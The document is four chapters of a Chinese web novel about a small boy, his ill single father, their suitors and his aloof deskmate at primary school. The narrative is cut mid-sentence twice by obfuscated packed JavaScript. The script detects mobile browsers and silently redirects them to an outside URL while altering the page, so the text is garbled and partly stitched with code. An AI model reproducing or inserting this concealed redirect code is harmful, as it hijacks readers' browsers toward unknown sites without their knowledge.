《我是追妻火葬场文里的崽》 1. 发烧 “叮铃铃。” 闹钟刚响第一声,天蓝色的被子里便伸出一只胖乎乎的小手,按掉了闹钟。 紧接着温从简揉着眼睛从床上坐起身来,先伸了个懒腰,然后从床上爬了下来穿好鞋子,一边叫爸爸一边向外走去。 然而推开门来到客厅后却并没有看见爸爸的身影。 “咦?” 温从简有些疑惑,毕竟每天爸爸都会提前半个小时起来给自己做早饭。 因此温从简每天早上醒来的时候都能看到爸爸一边从厨房里端出早餐,一边催促他去洗漱的身影。 想到这儿温从简心中瞬间涌起一丝不妙的预感。 “爸爸。” 温从简一边小声叫他,一边来到主卧门口,踮起脚尖按下了门把手,推开门后就发现屋内的窗帘还拉着,里面黑漆漆的一片。 “爸爸?” 温从简有些疑惑地走到床边,然后就见床上的被子微微鼓起,爸爸整个人都缩在被子里面。 温从简没想到爸爸也有起晚的一天,不免有些奇怪,先去拉开了窗帘,然后来到床边伸手轻轻推了推他。 然而刚一碰到温从简便被爸爸身上的温度吓了一跳,声音瞬间焦急了起来,“爸爸,你生病了!” 床上的人听到这儿终于有了反应,缓缓睁开了眼睛。 虽然已经和爸爸生活了这么多年,但温从简还是不可避免地因爸爸的容貌而一怔。 他才刚上一年级不久,还不会用太多的词来描述,只是觉得爸爸的皮肤极好,像是老师带他们去博物馆参观时看到过的展柜里的玉石,眼睛像是夏天时楼哥哥老家院子里挂着的黑紫色的葡萄,但又不像,因为爸爸的眼睛没有那么葡萄的莹润,大概是有些近视的缘故,看人时总透着些冷淡。 不过这种冷只对别人,对他爸爸永远都是无尽的温柔。 不对。 意识到自己在想什么后温从简立刻摇了摇头,现在哪里是想这些的时候,爸爸在生病。 想到这儿温从简脑海中立刻想起了爸爸教过他的,连忙跑到客厅找到了电视柜下的医药箱,找到了爸爸说过的绿色的那盒退烧的药。 “爸爸。”温从简拿着药小跑到温弥玉面前,“你发烧了,吃药。” 温弥玉自然能感觉到身体的不舒服,原本因为浑身的燥热而有些难受,但一看到温从简递过来的药,瞬间觉得好了不少。 “谢谢从从。”温弥玉一边接过他手中的药一边抬头看了一眼表,这才发现自己起晚了,于是连忙起身开始换衣服。 “不好意思,爸爸今天起晚了,来不及做饭了,一会儿给你买包子吃好不好?” “好。”温从简自然没意见,只是一直紧紧盯着爸爸手中的药,“爸爸你不要着急,先把药吃了好不好?” “一会儿吃完饭再吃。”温弥玉说着把药塞进了口袋里,匆匆洗了把脸后便要送他去上学。 温从简其实很想说他自己可以去,毕竟开学这么多天了,他已经完全熟悉去学校的路该怎么走,不过爸爸肯定不会同意。 爸爸总是把他当成一个小孩子,明明他都已经上一年级了。 “快点,要迟到了,咳……”因为发烧,温弥玉嗓子干得厉害,一说话就想咳嗽,于是迅速喝了几口水。 结果他一喝水才想起温从简的保温杯还没拿,于是又去他房间里取了保温杯塞进他书包里。 等他们手忙脚乱地终于把一切都收拾好已经七点半了,温从简七点五十上早读,也就是说他们要在二十分钟内赶到学校。 温弥玉以前也发过烧,一般多喝点水睡一觉也就好了,但这次的病来得厉害,睡了一觉后却反而更加难受,整个人像是被丢进了火炉里,一动就出汗,整个人头重脚轻,又昏又沉,嗓子也干得厉害。 这次光靠熬估计是不行了,得去医院看看,不过现在还不是想这个的时候,现在最重要的是赶快把温从简送到学校。 想到这儿温弥玉牵着他的手连忙向外走去,谁知刚一出门就听一道声音从楼上传来。 “还好还好,你们还没走,我还以为赶不上了,没想到刚好碰到。” “楼哥哥。”温从简一看见他立刻打了个招呼。 “从从。”楼确说着从楼上走了下来,手里端着一个保温盒向他们走了过来,“我早上起来炸了些丸子,想着从从爱吃,就给你们送些下来。” 温从简一听瞬间高兴了起来,毕竟楼哥哥的厨艺真得很好,所以温从简很喜欢去他家蹭吃蹭喝,楼哥哥对此也很是欢迎,经常变着花样给他做各种好吃的。 其中他最喜欢的就是楼哥哥炸的丸子,又酥又脆,咬开里面是满满的肉馅。 “谢谢楼哥哥。”温从简立刻嘴甜道。 “不客气。” 楼确说完抬头看向温弥玉,明显想要寒暄几句,不过温弥玉正着急,匆匆道了声谢后便想牵着温从简离开,然而楼确却跟了上来。 “你是不是不舒服?脸色看起来不太好。” “爸爸生病了。” 温从简刚一说完就感觉到自己的手被爸爸捏了一下,于是立刻闭了嘴,但还是晚了。 楼确一听立刻追问道:“生病了,什么病?严重吗?难怪你们今天走得这么晚。” “没事儿。”温弥玉一边脚步不停地向外走一边回道,“就是有点发烧。” “发烧也不能轻视,要不还是去医院看看吧?” “嗯,一会儿就去,我先送从从去学校。” “都快四十了,你们走肯定是来不及了,我开车送他去吧。”楼确提议道。 “不用。”温弥玉闻言连忙拒绝。 但楼确还是坚持道:“哥,你就别客气了,一会儿从从真的要迟到了。” 温弥玉闻言看了一眼表,虽然学校不算远,但走过去的话确实来不及了,因此最终还是同意。 楼确一听,立刻跑去把车开了过来,然后把温从简抱了上去。 “谢谢。”温弥玉道。 “不客气,哥,你先回去好好休息,我一会儿送完从从就过来接你去医院。” 楼确说完也不等他拒绝便上了车,然后开车向学校驶去。 温从简还没吃早饭,保温盒里的丸子实在太香,因此刚一上车他便忍不住打开保温盒拿了一个塞进嘴里。 楼确从后视镜看见温从简吃丸子的模样,忍不住笑了一下,但想起温弥玉还生着病,很快又笑不出来了。 “从从,你爸爸是怎么生的病?” 温从简闻言抬起头来,很认真地想了一会儿,然后摇了摇头,“我也不知道,昨晚爸爸好像回来得很晚,我等到睡着了他也没回来,今天早上我起来后发现爸爸没有做饭,就去他房间找他,然后就发现爸爸生病了。” “这样啊。”楼确喃喃道。 “楼哥哥,你一会儿能不能带爸爸去医院,他自己肯定不去。” “好啊。”楼确立刻应道,“你放心吧,哥哥一会儿就带他去。” 说话间学校已经到了,楼确把车停到学校门口,然后把他抱下车,牵着他向学校走去,“丸子你带到学校,可以分给同学,不过要记得,只能在下课吃,记住了吗?” “记……”温从简刚想回答,就听一道声音从不远处传来。 “温从简,怎么现在才来?马上就要打铃了。” 温从简抬起头,这才发现是自己的数学老师。 他们学校门口每天都有老师值班迎接学生,今天刚好是数学老师。 “林老师。”温从简立刻热情道,他们数学老师是一个三十多岁的中年男人,穿着一身烟灰色的衬衫短袖,戴着眼睛,总是笑眯眯的,看起来温文尔雅,很容易便让人心生亲近。 温从简刚入学的时候就很喜欢他,他对温从简也很好,不仅会塞给他零食,还让温从简当了他的课代表。 “是这样的……” 温从简刚想和他解释是因为爸爸生病起晚了才导致他今天来得这么晚,然而刚一开口就被林老师打断道:“从简,这是谁?老师还是第一次见他来送你。” “这是楼哥哥。”温从简连忙介绍道,“住在我们家楼上,他炸的丸子特别好吃。” 温从简说到这儿十分想打开保温盒拿出一个炸丸子让林老师尝尝,不过林老师看起来对此并不感兴趣,而是继续问道。 “你爸爸呢?” “爸爸生病了。” “生病了?”林老师一听面色瞬间变了,满眼的担心,“什么病?很严重吗?” 温从简也不知道算不算严重,只是爸爸 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“分完了,只有最后一排那个不吃。”正担心时,同桌的话打断了他的思绪。 温从简这才回过神,看向了他手里的保温盒,大部分都已经分完了,只剩下了几个,虽然已经凉了,但还散发着浓郁的香气。 温从简在担心爸爸,因此让同桌帮他代发,万万没想到竟然会有人不吃。 想到这儿温从简向最后一排看去,然后就见一个穿着白色短袖的小男孩儿正低头看书。 此时正是下课,大家都在疯跑疯玩,整个教室闹腾得厉害,只有他一个人还坐在那儿看书,显得有些格格不入。 虽然开学还没多久,但温从简也知道他,毕竟这个年纪的小孩儿谁不喜欢和大家一起热热闹闹地玩,只有他总是一个人,谁也不理。 “算了,不吃就不吃。”温从简说着和同桌分吃了剩下的丸子。 好不容易熬到了放学,温从简简直是归心似箭,恨不得现在就冲到学校门口,毕竟他太想知道爸爸的发烧好了没有。 然而没想到却被数学老师叫住,“从简,一会儿出了校门记得来找老师,跟老师走。” “为什么?”温从简有些没明白。 然后就听数学老师继续说道:“我给你爸爸打过电话了,他既然生病了就别跑来跑去了,刚好最近学校安排了家访,就先从你开始,我也正好把你送回去。” 温从简一听家访瞬间蔫了,但又拒绝不了,只能蔫蔫地带着数学老师回了家,然而没想到的是等他打开门才发现楼哥哥竟然也在。 桌上放着一个保温桶,里面是满满一桶的排骨汤。 爸爸看起来好了点,正坐在餐桌前和楼哥哥说着什么,听见门口处的动静,两人齐齐回过了头。 爸爸看到数学老师后率先起身迎了过来,楼哥哥紧随其后,但很快爸爸便让楼哥哥先走。 数学老师也没久待,和爸爸聊了一会儿便离开了。 温从简和爸爸送走数学老师后来到餐桌上坐下,爸爸从厨房拿了两个碗,给他们每人倒了一碗排骨汤。 温从简没顾上喝,而是先问道:“爸爸,你好点了吗?” “好多了,已经吃过药了。” “那就好。” 温从简说着喝了一口面前的汤,排骨汤炖得极好,又鲜又香,排骨软烂,温从简很快就喝完了一碗。 “再来一碗吧?”温弥玉道。 然而温从简却摇了摇头。 “怎么了?今天吃得这么少。”温弥玉问道。 温从简并没有立刻回答他,而是像在思考什么大事一般想了半天,这才抬头望着他问道:“爸爸,楼哥哥和林老师是不是喜欢你啊?” 温弥玉似乎没想到他会这么说,闻言不由愣了一下,好一会儿才回道:“你懂得还不少。” 温从简见他没回答,也不气馁,反而继续追问道:“爸爸,那你喜欢谁呢?” 温弥玉明显不想和他讨论这个问题,收拾了碗筷准备去洗碗。 但温从简今日不知怎么,格外得执拗,见状连忙跟屁虫一样跟了上去,“爸爸,你怎么不回答我,是都不喜欢吗?那你喜欢谁呀?是医生叔叔吗?” 2. 同桌 温从简原来并不明白自己为什么总是比别人瘦弱一些,个子也矮,直到后来有一次发病才知道原来自己有心脏病。 温从简那时并不知道什么是心脏病,只能感觉到爸爸很着急,第一次那么快地赶到了学校,然后难得奢侈地抱着他打车去了医院。 他一路都被爸爸紧紧抱在怀里,明明爸爸没有跑步,但温从简耳边却全是爸爸鼓擂一般的心跳和粗重的呼吸。 他一边紧紧抱着自己一边不断安慰,“没事,别怕,没事的,没事。” 温从简虽然难受却并没有怕,反而他觉得怕的应该是爸爸,因为他抱着自己的手一直在抖个不停。 于是他反过来安慰道:“爸爸,别怕。” 爸爸听到这句话似乎愣了一下,然后俯身把他抱得更紧了。 温从简记得那个时候他难受极了,但他还是用尽所有的力气,努力回抱住了爸爸。 那天温弥玉挂了急诊,他们也就是在那个时候认识了医生叔叔。 温从简其实也不知道爸爸是怎么认识医生叔叔的,只是住院的时候他每天都会过来,然后和爸爸说各种他听不懂的话。 什么先天性心脏病,什么法洛……室间隔……心室……呼吸……良好耐受型…… 他一个也听不懂,不过爸爸应该是听懂了,因为每次和医生叔叔聊完后爸爸的面色都会好很多。 “爸爸,什么是心脏?”温从简终究还是没忍住,挑了一个他唯一记住的问。 爸爸正在给他削苹果,闻言停下了手中的动作,许久之后才抬起手轻轻放到了他的胸口,然后对他说道:“把手放在这里,正在跳动的就是心脏。” 温从简闻言慢慢抬起手放在了爸爸说的地方,隔着薄薄的皮肤,他果然感受到了有什么正在跳动。 “心脏病。”温从简好像突然明白了什么,“是心脏生病了吗?” 爸爸没有回答,只是抬手摸了摸他的头发,“不是,只是你当初急着出来见爸爸,心脏还没来得及长大你就出生了,所以它现在有些弱小,不过别担心,医生叔叔已经帮你把它补好了,它现在很强大。” 温从简那时还不知道补好是什么意思,更不知道医生叔叔是怎么补的,直到后来慢慢长大,看到心口处已经淡下去的疤,这才知道原来他已经做过手术了。 不过做手术的时候他还不到两岁,所以什么都不记得了。 难怪小时候的爸爸总是这么忙,似乎每天都在赚钱,原来都是为了他。 不过那时候的温从简还不明白这些,他只是很心疼爸爸,于是在家的时候会学着爸爸的样子做家务,只不过做得都不好,被子叠得歪歪扭扭,像是小鸟乱糟糟的巢,洗碗也洗不干净,甚至还不小心打碎了他最喜欢的汤勺,拖地拿不动拖把,只能拿着抹布一点点擦,可是还没擦多久就累了。 温从简看着面前打扫过之后和没打扫一样的房间,突然有些沮丧,他怎么什么都做不好? 因此温弥玉下班回来的时候就见他竟然还没睡觉,而是一个人坐在茶几旁的小凳子上抹泪花。 “怎么了?从从。”温弥玉见状一时间也顾不上满身的疲惫,连忙走过去把他抱进了怀里。 温从简一开始还只是小声地哭,但大概是爸爸的怀抱实在太温暖,他很快便忍不住,开始嚎啕大哭。 “不哭了,不哭了,是不是一个人害怕了?对不起,爸爸不应该把你一个人丢在家。”温弥玉看着怀里哭成泪人的温从简,只觉得心如刀割,当下心里便升起了辞掉一份工作的想法。 然而没想到的是,怀里的人闻言却立刻摇了摇头,然后抬起满是泪痕的小脸对他说道:“不是,我不是害怕。” “那是怎么了?”温弥玉一边问一边轻轻替他擦干净脸上的眼泪。 然后就见温从简沉默了一会儿,这才像是终于下定什么决心一般重重吸了一下鼻子,然后对他说道:“爸爸,你把我送到福利院吧,这样你就不用太累了。” 温弥玉原本正从桌上抽了张纸要给他擤鼻涕,闻言动作不由停了一下,随即有些不可思议地看向他。 “你从哪里知道的福利院?” “我在电视上看到的,把我送到那里你就不用这么辛苦了。” 温从简是很认真地在说这句话,然而没想到的是爸爸听完之后却突然笑了起来,笑得甚至有些直不起腰。 一边笑一边把头埋在了他的肩膀上,温从简有些弄不明白爸爸为什么笑得这么厉害,明明自己说的都是真心话。 但很快他就顾不上去弄清楚原因了,因为他的肩膀突然湿了一块。 爸爸哭了。 温从简不知道爸爸为什么又哭了,但也能意识到肯定是自己刚才的话惹的祸,瞬间慌了,于是连忙伸出短短的胳膊抱住了他,“爸爸,你别哭,我不说了。” 虽然那天的话温从简再也没有提过,但他确实希望爸爸能过得轻松一点,这个念头也一直持续到了今天。 只不过发生了一些变化,比如他开始明白爸爸即使再苦再累也不可能丢下他,因此温从简的想法便从让爸爸把自己送到福利院到也找一个人来爱爸爸。 一开始温从简是希望爸爸再给他找一个妈妈的,毕竟周围的小朋友都有妈妈,然而不知为何喜欢爸爸的似乎都是男人。 虽然再多一个爸爸有些奇怪,但温从简也不是不能接受,只要爸爸幸福就好了。 这也是他今天会问出这个问题的原因。 然而爸爸却依旧摇了摇头,“别胡说八道了,去把你的碗端过来。” 温从简没想到爸爸连医生叔叔也不喜欢,最后一个人选就这么破灭,这让他不免有些沮丧,但还是听话地去把桌上自己的碗筷端了过来。 爸爸接过后便开始洗起了碗,一边洗一边让他去看动画片。 温从简知道爸爸这是要支开自己,可他还是有些不甘心,因此并没有去,而是继续问道:“爸爸,你到底喜欢什么样的人啊?” 不知为何,爸爸听到这个问题后突然有些出神,望着面前的水池愣了好一会儿,直到手中的碗因为沾满了洗洁精太滑,差点从他手里掉下来,爸爸这才终于回过了神。 “什么样的人都不喜欢,别替爸爸操心了。” “好吧。”温从简有些失望地从厨房走向客厅,然后打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831163|175578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了电视。 电视一打开就是他最喜欢看的少儿频道,里面正在播放他最喜欢的动画片,然而温从简却并不开心。 于是对着手里的遥控器聊起了天,“遥控器,爸爸谁也不喜欢,这可怎么办呀?” 遥控器没理他。 小孩子的烦恼来得快去得也快,明明昨天还在为爸爸谁也不喜欢而难过,今天温从简就已经恢复了过来,开开心心地去学校上学。 和他每天来学校都要哭唧唧的小胖子同桌相比,温从简是真的喜欢来上学,因为学校里有很多小朋友,从前他在家总是一个人孤零零的。 他爸爸不怎么喜欢说话,加上每天都很忙,总是把他一个人丢在家,所以很怕温从简自闭,所以没事儿就喜欢和他说话,硬生生把他培养成了一个小话痨。 但是在家里他没人说话,只能和电视机,遥控器,饮水机,小凳子说话。 虽然和它们说话也能在一定程度上抒解他的表达欲,但这些东西毕竟没办法给他回应,因此温从简总是觉得不尽兴,直到他开始上学。 幼儿园的时候老师就因为他太爱说话而有些受不了,还给他起了个外号叫小麻雀。 到了小学温从简就更停不下来了,每天最开心的事就是高高兴兴地来学校,然后和同桌说话。 班主任因为这个说过他好几次,但都没什么用,因为温从简觉得比起听老师讲课,还是和同桌说话更有意思。 这天上课温从简依旧没忍住,上课没多久就竖起书挡着脸小声和同桌叽叽喳喳。 然而没想到的是很快就被老师发现了。 “温从简。” 因为被说得多了,所以温从简对此很有经验,一听到老师叫他,立刻把面前的书放下抱臂坐端,做出一副改过自新,认真听讲的样子。 然而这次班主任却没有再这么轻易地放过他。 “我就不明白了,你和李栗子到底哪儿来的那么多的话?怎么坐一起就开始说呢?” 温从简知道这种时候不能反驳,于是立刻低下头,做出一副羞愧的样子。 从前因为他长得好看,班主任总是会对他宽容一些,然而老师这次却没有放过他。 “下课之后你换个座位,坐到最后一排去,和叶惊寒坐到一块。” 温从简听到这句话立刻猛地抬起头来,向最后一排看去。 他当然知道叶惊寒,是一个很奇怪的小孩儿。 温从简因为爱说话,虽然开学没多久,但几乎已经和班里的同学们聊了个遍,只有叶惊寒除外。 因为这人简直是个哑巴,根本不理人,一想到要和这样的人坐到一块,温从简只觉得喉咙像是被堵了一块棉花,脑子里只剩下了一个念头。 完了。 但他又不可能违逆班主任的决定,只能努力自己调整情绪,可是根本调整不好,只要一想到要和叶惊寒坐同桌温从简便觉得委屈。 因此一节课不受控制地向后看了七八次。 大概是被他看烦了,在温从简又一次转头向后看时,一直低着头的叶惊寒终于有了反应。 他抬起头,也看向了温从简。 3. 妈妈 叶惊寒的面上并没有什么表情,然而不知为何温从简却被他看得有些发毛。 他也不知道自己为什么会有这种感觉?毕竟平心而论叶惊寒长得很不错,是他们班里除了他以外第二好看的小朋友,虽然这是他自己评的。 因为爸爸长得好看,所以温从简从小就喜欢好看的人,也喜欢和好看的小朋友玩,但叶惊寒除外。 毕竟他这个人实在是太孤僻了。 每天都是独来独往,几乎不和他们班里的任何人说话,如果不是温从简见过他回答问题的样子,还以为他是个哑巴。 因此温从简更加不愿意和他坐在一起,可惜的是他没有不愿意的权力,所以下课后还是不情不愿地开始收拾起了东西。 对于换座位的事,他的同桌李栗子也十分难过,一双圆圆的眼睛泪盈盈的,跑过来拉住他的衣袖道:“温从简,我不想让你走。” 温从简也不想走,但又无可奈何,只能努力安慰他,“没关系,即使我们不坐在一起,下课后我还是会去找你玩的。” “你可一定要来啊。”李栗子再三确认道,得了肯定的回答后一颗心这才放下。 小孩子的情绪来得快去得也快,没一会儿两人便平复好了心情,一起收拾起了东西。 他们刚上一年级,书不多,所以温从简没一会儿就把东西收拾好了,全部搬到了最后一排的新位置。 搬到最后一排后温从简还没来得及适应一下上课铃就响了。 上课之后温从简习惯性地想说话,于是转头看了看他的新同桌。 然后就见他的新同桌正抬头看着黑板,没有一点想要搭理他的意思。 若是以前,只要他一扭头李栗子肯定会立刻看过来问他怎么了?但叶惊寒明显不是这样的人,温从简没有了陪他说话的人,只好也跟着认真听起课来。 然而还没听多久温从简便觉得有些无聊,但又怕叶惊寒不愿意说话,于是折中了一下,从作业本上撕下半张纸,然后拿起笔歪歪扭扭地写道: ni 不无 liao ma ? 写完后温从简便把小纸条推了过去,然而他的新同桌看都没看一眼。 温从简还以为他是没看见,于是轻轻扯了扯他的袖子,示意他往桌上看。 新同桌这才有了反应,低头看了桌上的纸条一眼。 温从简见他有了反应,瞬间兴奋了起来。 他就知道,上课这么无聊,没有人能抵住说小话和传纸条的快乐。 然而没想到的是下一秒他的新同桌却把纸条推了回来。 然后抬头看向黑板,继续听起课来。 温从简看着这一幕只觉得心都凉了,看来这人是真的不喜欢上课说话,这以后的日子可怎么过呀? 没了和他说话的人,温从简也不可能自言自语,只能被迫认真听起了课。 一开始还有些难熬,但后来却渐渐发现上课其实并没有他想象中的那么枯燥,于是慢慢地也学了进去。 他们班主任对此很是满意,觉得自己的安排简直完美,从那之后便把他俩的位置固定在了一起。 温从简:认命。 时间一天天过去,就在温从简都已经快习惯他有一个哑巴同桌的时候,班主任突然通知周五放学后要开家长会,让大家的家长务必过来。 温从简听到这个消息后不免有些担心,本来还担心爸爸忙会去不了,然而没想到爸爸听到后一口就答应了下来。 “好,爸爸会准时去的。” 温从简对此很开心,因为班主任说他这几个月表现得不错,会在家长会上表扬他,爸爸听到了一定很开心,所以温从简对这场家长会可谓是期待至极,甚至觉得时间都漫长了起来。 好在时间虽然磨磨蹭蹭,但还是来到了周五。 家长会定在放学后,所以今天放学后班里依旧热闹,大家都在教室外面翘首以盼,等着自己爸爸妈妈的到来。 只是不知为何?爸爸一直都没有来。 温从简看着旁边一个个已经等到爸爸妈妈的小朋友,心中不免有些着急,但还是努力劝慰自己,爸爸既然答应了自己,就一定会来。 终于,在家长会开始之前,温从简还是看到了爸爸的身影。 爸爸几乎是最后一个来的,但温从简还是很开心,一看见他便迅速跑了过去,扑进了他的怀里,“爸爸,你来了。” “对不起,爸爸来晚了。” “没事,家长会还没开始呢。” 温从简说着便牵着爸爸的手准备往教室走,然而没想到刚一转身就见他同桌一个人站在教室门口。 他爸妈还没来吗?想到自己刚才等爸爸时急切的心情,温从简不免多看了他两眼。 “在看什么呢?”爸爸问道。 “我同桌。”温从简立刻回道,随即便像是被打开了话匣,“爸爸你不知道,他真的特别不爱说话,我都和他坐了这么久的同桌了,和他说的话都没超过十句。” “是吗?” “嗯。”温从简以为爸爸不信,很认真地点了点头。 刚说完就见不远处的叶惊寒似乎看见了他们。 温从简见状本来还有些犹豫要不要和他打个招呼?然而没想到的是叶惊寒的目光在他和爸爸紧紧握着的手中看了一会儿,然后便转身离开了。 “诶……” 温从简想叫住他,毕竟马上家长会就要开始了,他这是要去哪儿?而且他爸爸妈妈呢?怎么还没有过来?是有事耽误了吗? 温从简心里有太多疑惑,但终究还是晚了一步,他同桌已经不见了。 “怎么了?”温弥玉见状连忙问道。 “没什么。”温从简摇了摇头,牵着爸爸的手来到了教室。 家长们已经来的差不多了,几乎坐满了整个教室,只有他和同桌的位置是空着的。 温从简拉着爸爸坐到了他的位置上,然后转头向旁边看去。 叶惊寒不在,他父母也不在这里。 他爸妈没来吗?温从简想着向外看了一眼,家长们已经到的差不多了,所以操场上空荡荡的,并没有什么人影。 “好了,家长们已经来得差不多了,我们的家长会即将开始。”班主任说着打开了白板。 温从简见状想要说一声叶惊寒和他爸妈还没来,但又觉得不合适,于是和爸爸小声说了一声,“我去叫叶惊寒。” 然后便偷偷跑出了教室。 温从简不知道叶惊寒跑到了哪儿?只能循着他刚才离开的方向找了过去。 然而找了许久都没找到,最后只剩下了走廊尽头的卫生间还没进去。 是去上厕所了吗?想到这儿温从简抬步走了进去。 大概是这会儿正在开家长会,所以卫生间里并没有什么人,很是安静,加上都是隔间,所以一时间也看不出到底有没有人。 于是温从简只能一扇门一扇门推开看。 然而一连找了很多间都没有,这让温从简有些怀疑他是不是想错了。 但还是坚持找到了最后一个隔间,最后一个隔间并没有像之前那样轻易被推开,门被反锁着,里面有人。 为了确认一下,温从简还低下头往里看了看,果不其然,看到了一双熟悉的旧球鞋,叶惊寒真的在里面。 “叶惊寒。”温从简看到他在里面后终于开心了起来,立刻站起身来敲起了敲门,“终于找到你了,你快出来,家长会已经开始了。” 然而不知为何,叶惊寒却没有给他开门。 “叶惊寒?你没事儿吧?”虽然叶惊寒总是不理他,但毕竟是同桌,温从简还是不免担心,敲门声也不由急促了起来。 “叶惊寒……”温从简敲了许久的门都没有回应,正担心他是不是在里面出了什么事,要不要去找老师的时候,隔间的门终于被人从里面打开。 温从简被他突如其来的动作吓了一跳,下意识向后退了一步,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你才烦人,你还没礼貌,你怎么总这样,你爸爸没教过你别人和你说话要回答吗?你总是这么冷冰冰的,一点都不友好。” 温从简越说越生气,然而叶惊寒依旧没有理他,甚至没有回答,而是像往常一样冷冰冰地望着他。 这让温从简有一种一拳头砸在棉花上的无力感,但也更加生气,怎么会有这样的人啊?为什么总是不理人?不说话。 从小到大温从简就没遇到过这种情况,因为无论是爸爸还是楼哥哥,小区里的小朋友,班里的同学,大家都很喜欢他,也从来不会不理他。 温从简得不到回应的只有和小电视,小遥控器说话的时候,但叶惊寒又不是小遥控器不能说话,为什么总不理他? 温从简越想越生气,也更加不依不饶,说话也不客气了起来,“没礼貌,你太没礼貌了,你爸爸妈妈都不教你对人要礼貌吗……” 温从简正说的起劲,不知道哪一句戳到了叶惊寒,又或者是被他弄烦了,叶惊寒终于回答了他的话。 他说:“我没有妈妈。” 温从简原本还觉得自己像是一只快要爆炸的气球,然而听到这句话后像是被针扎了一下,所有的气瞬间泄了出来,整个人瞬间软了起来。 因为他也没有妈妈。 所以叶惊寒的妈妈才没有来吗?那他爸爸呢?温从简不知道,但也不敢再继续问下去。 刚才心中的怒火瞬间全部消了下去,一时间温从简的心里只剩下了歉意,毕竟他太清楚没有妈妈是什么感受了,所以叶惊寒是因为想起了妈妈才一个人跑到洗手间偷偷哭吗? 想到这儿温从简更觉抱歉,却又不知道该怎么弥补,只能沉默了下去。 因为两人都没有再说话,洗手间霎时安静了下来。 叶惊寒似乎不喜欢这样的氛围,想要离开,温从简见状连忙拉住了他,“叶惊寒。” 叶惊寒似乎有些不耐烦,但还是停下了脚步转过头来。 然后就见面前的人满脸歉意地望着他,很真诚地一字一句说道:“对不起,我不知道,你不要难过。” “我……”叶惊寒想说自己没有难过。 然而还没来得及开口,就听温从简继续说道:“要不然以后我给你当妈妈吧,我会对你好的。” 4. 发誓 温从简觉得自己的赔礼道歉可谓十分有诚意了,然而不知为何叶惊寒却突然生起气来,抬手狠狠推了他一把。 温从简不明白叶惊寒为什么会这么生气?毕竟他一直都想要一个妈妈,可惜总是不能如愿。 其实从前他对妈妈是没什么执念的,毕竟他知道爸爸有多爱他,他也爱爸爸,他有爸爸就够了。 直到后来上了幼儿园,有一次学校举办亲子活动,别的小朋友都是两个家长一起来的,而温从简只有爸爸。 虽然爸爸一个人也和他完成了亲子任务,但温从简看着别的小朋友一家三口在一起的样子还是有些羡慕。 他也想有一个妈妈,但爸爸似乎完全没有这个意思,于是温从简决定自己找一个妈妈。 一开始他想让邻居周姐姐给他当她妈妈,然而周姐姐听完后却哈哈大笑起来,一边笑一边抬手摸着他的头发说她已经有男朋友了,再后来周姐姐结了婚就搬走了。 周姐姐走后温从简看上了楼哥哥,楼哥哥虽然是男生,但是他很温柔,对他也很好。 于是温从简又去问了他,楼哥哥听完之后脸都红了,明明很想答应,但最后还是摆了摆手,“得你爸爸先同意才行。” 温从简觉得这应该是答应了的意思,于是去问了爸爸。 然后被爸爸敲了敲头,让他不许再在外面胡说八道。 温从简的计划再次以失败告终。 后来他上了小学,又再次物色中了李栗子,不过这次还没来得及告诉爸爸,这个人选就先一步被他否决了。 因为李栗子实在是太小气了,不仅舍不得分给他吃的,还会吃他的东西,妈妈对孩子难道不是应该很大方吗? 所以如果是他当妈妈,他一定把所有的零食都分给叶惊寒吃。 可惜叶惊寒拒绝了他。 想到这儿温从简自己都有些替叶惊寒可惜。 叶惊寒,你知道你拒绝了什么吗? 叶惊寒不知道,温从简也懒得告诉他。 他这个新同桌实在是有些太难以接近了,即使温从简这么好脾气的一个人,也有些受不了。 于是他暗暗在心里发誓再也不理叶惊寒了。 因为自己立下的誓言,温从简第二天去学校的时候都没有再主动和他说过话。 不过温从简是个话痨,忍了一节课后便有些受不了,于是下课的时候和前桌说起了话。 他前桌是个很可爱的小女孩儿,叫叶歌,比叶惊寒热情多了,这些日子叶惊寒不理他,他都是和叶歌聊天。 刚好下节是体育课,叶歌还邀请他和别的小朋友一起捉迷藏玩。 温从简自然答应。 体育老师对他们并不严格,让大家集体跑了一圈后便解散了,剩下的时间都可以自由活动。 解散后大家都三三两两地聚在一起,温从简不知怎么,下意识找了一下叶惊寒,果不其然,他依旧是一个人,还是那么不合群。 不过温从简很快便反应了过来,他合不合群和自己有什么关系,自己已经发过誓再也不理他了,于是再不管他,和叶歌他们玩起了捉迷藏来。 温从简很会躲,一连三局都没有被找到。 不过上一局的时候他藏身的地方差点被人发现,因此温从简这局决定换个地方藏。 温从简找了半天,终于找到了一个合适的地方,是在高年级教学楼的后面,后面摆放着许多从前施工留下来的建材,几乎堆成了一座小山,温从简一下子便看中了这里,决定躲在建材后面。 然而让他没想到的是,刚一走近却发现这里竟然已经有人在了。 温从简还以为是别的小朋友先选到了这里,然而没想到一靠近才发现坐在建材那儿的竟然是叶惊寒。 他一个人坐在一块石板上,正低头画着什么,见有人来,他立刻抹去了地上的画,这才抬起头来。 温从简没想到是他会在这儿,本想再重新换个地方,然而刚一出去就见叶歌已经开始抓人了,只能又退了回来,躲到了叶惊寒身旁的建材堆里面。 温从简本来还以为自己这次躲得已经够隐蔽,然而没想到很快就听到不远处传来一阵脚步声,不过那脚步声很是犹疑,只走了几步便在不远处停下,紧接着响起了叶歌的声音。 “叶惊寒,有人来过这儿吗?”大概是有些怕叶惊寒的缘故,叶歌的声音细细的,问的小心翼翼。 温从简听到这儿只觉得一颗心简直提到了嗓子眼,差点就要从喉咙里蹦出去,毕竟她问的是叶惊寒。 温从简还记得上次家长会时叶惊寒在厕所推的那一下,他推得那么重,应该讨厌极了自己,所以他肯定会毫不犹豫地出卖自己。 然而让温从简有些没想到的是,他却一直没有听到叶惊寒的声音。 